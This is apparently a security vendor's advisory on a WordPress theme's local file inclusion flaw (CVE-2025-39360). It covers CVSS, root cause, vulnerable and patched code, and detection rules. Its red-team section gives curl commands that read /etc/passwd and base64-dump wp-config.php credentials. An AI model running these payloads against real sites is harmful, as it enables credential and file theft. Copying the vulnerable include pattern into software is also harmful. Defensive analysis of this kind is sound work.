CVE-2025-39360
Executive Summary
CVE-2025-39360 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Grace Mag WordPress theme, developed by Everestthemes. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to the disclosure of sensitive information such as configuration files, database credentials, and source code. The CVSS score of 7.5 reflects the high confidentiality impact and the ease of exploitation without authentication. As a WordPress theme vulnerability, it affects the WordPress ecosystem directly, and no official patch has been released as of the latest analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Grace Mag WordPress theme, which is distributed through the WordPress theme repository and third-party marketplaces. Users who have installed this theme from any source are at risk. Since the theme is not a standard package manager (NPM, PyPI, etc.), the supply chain risk is limited to the theme's distribution channels. However, compromised or outdated copies of the theme could be distributed, amplifying the attack surface.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full file read access.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: High. The vulnerability is trivial to exploit and can lead to severe data breaches.
Deep Dive & Mechanics
The vulnerability exists in the grace-mag theme's PHP code, likely within a template or plugin file that uses a user-controllable parameter to construct a file path for inclusion. The improper control of the filename allows path traversal sequences (e.g., ../../) to escape the intended directory and include arbitrary files from the server's filesystem.
Root Cause: The theme fails to sanitize or validate the input used in a PHP include() or require() statement. For example, a vulnerable code snippet might look like:
include($_GET['file'] . '.php');
An attacker can supply a value like ../../../../etc/passwd%00 (null byte injection) or ../../../../etc/passwd (if the extension is appended) to read sensitive files.
Exploitation Flow:
- Attacker identifies a parameter (e.g.,
page,template,file) in the theme's URL. - Attacker crafts a request with path traversal sequences to target a sensitive file.
- The server includes the file, outputting its contents in the HTTP response.
Vulnerable vs. Patched Code
Vulnerable Code (Example):
$file = $_GET['template'];
include('templates/' . $file . '.php');
Patched Code (Hypothetical):
$allowed_files = array('home', 'single', 'archive');
$file = $_GET['template'];
if (in_array($file, $allowed_files)) {
include('templates/' . $file . '.php');
} else {
// Handle error
}
Since no official patch exists, users must implement manual mitigations.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install a local WordPress instance with the Grace Mag theme (version 1.1.5).
- Identify the vulnerable parameter by reviewing the theme's source code or fuzzing.
Exploit Example:
curl "http://target/wp-content/themes/grace-mag/vulnerable-file.php?file=../../../../etc/passwd"
Expected Output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Advanced Exploitation:
- Use PHP wrappers to read PHP source code:
curl "http://target/wp-content/themes/grace-mag/vulnerable-file.php?file=php://filter/convert.base64-encode/resource=wp-config.php" - Decode the base64 output to retrieve database credentials.
Blue Team (Defensive)
Detection:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f). - Look for requests to theme files with suspicious parameters.
Mitigation:
- Disable the vulnerable theme immediately.
- Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
- Use a file integrity monitoring (FIM) tool to detect unauthorized changes.
Indicators of Compromise (IOCs)
- URL Patterns:
?file=../../../../etc/passwd?template=php://filter/convert.base64-encode/resource=wp-config.php
- Log Entries:
GET /wp-content/themes/grace-mag/vulnerable-file.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd
- File Access:
- Unauthorized reads of
/etc/passwd,/etc/shadow,wp-config.php,.htaccess.
- Unauthorized reads of
Detection Engineering
YARA Rule
rule CVE_2025_39360_Grace_Mag_LFI {
meta:
description = "Detects attempts to exploit CVE-2025-39360 in Grace Mag theme"
author = "Valters IT"
date = "2025-04-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-39360"
strings:
$path_traversal = /(\.\.\/|\.\.\\){2,}/
$php_wrapper = /php:\/\/filter/
$sensitive_file = /(etc\/passwd|wp-config\.php|\.htaccess)/
condition:
any of them
}
Sigma Rule
title: CVE-2025-39360 Grace Mag LFI Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts targeting the Grace Mag theme
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'file=..'
- 'template=..'
- 'php://filter'
condition: selection
falsepositives:
- Legitimate use of path traversal in other applications
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-39360 Grace Mag LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-content/themes/grace-mag/"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|\.\.\\){2,}/Ri"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Grace Mag theme and switch to a secure alternative.
- Code Fix: If you have development resources, patch the vulnerable file by implementing a whitelist of allowed files and sanitizing input.
- WAF Rules: Deploy WAF rules to block path traversal patterns and PHP wrapper usage.
- Monitoring: Enable detailed logging and alerting for suspicious file inclusion attempts.
- Update: Monitor the Everestthemes website for an official patch and apply it immediately when available.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.